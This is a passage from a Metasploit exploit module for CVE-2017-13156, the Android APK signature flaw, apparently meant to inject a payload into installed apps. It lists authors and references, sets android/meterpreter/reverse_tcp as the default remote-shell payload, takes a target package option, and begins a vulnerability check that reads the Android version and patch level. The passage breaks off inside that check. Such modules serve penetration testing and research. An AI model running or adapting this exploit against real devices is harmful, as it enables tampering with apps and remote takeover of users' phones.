The vulnerability was fixed in the 5th December 2017 security patch, and was additionally fixed by the APK Signature scheme v2, so only APKs signed with the v1 scheme are vulnerable. Payload handler is disabled, and a multi/handler must be started first. }, 'Author' => [ 'GuardSquare', # discovery 'V-E-O', # proof of concept 'timwr', # metasploit module 'h00die', # metasploit module ], 'References' => [ [ 'CVE', '2017-13156' ], [ 'URL', 'https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures' ], [ 'URL', 'https://github.com/V-E-O/PoC/tree/master/CVE-2017-13156' ], ], 'DisclosureDate' => 'Jul 31 2017', 'SessionTypes' => [ 'meterpreter' ], 'Platform' => [ 'android' ], 'Arch' => [ ARCH_DALVIK ], 'Targets' => [ [ 'Automatic', {} ] ], 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp', 'AndroidWakelock' => false, # the target may not have the WAKE_LOCK permission 'DisablePayloadHandler' => true, }, 'DefaultTarget' => 0, 'Notes' => { 'SideEffects' => ['ARTIFACTS_ON_DISK', 'SCREEN_EFFECTS'], 'Stability' => ['SERVICE_RESOURCE_LOSS'], # ZTE youtube app won't start anymore } })) register_options([ OptString.new('PACKAGE', [true, 'The package to target, or ALL to attempt all', 'com.phonegap.camerasample']), ]) register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), ] end def check os = cmd_exec("getprop ro.build.version.release") unless Gem::Version.new(os).between?(Gem::Version.new('5.1.1'), Gem::Version.new('8.0.0')) vprint_error "Android version #{os} is not vulnerable." return CheckCode::Safe end vprint_good "Android version #{os} appears to be vulnerable." patch = cmd_exec('getprop ro.build.version.security_patch') if patch.empty? print_status 'Unable to determine patch level.
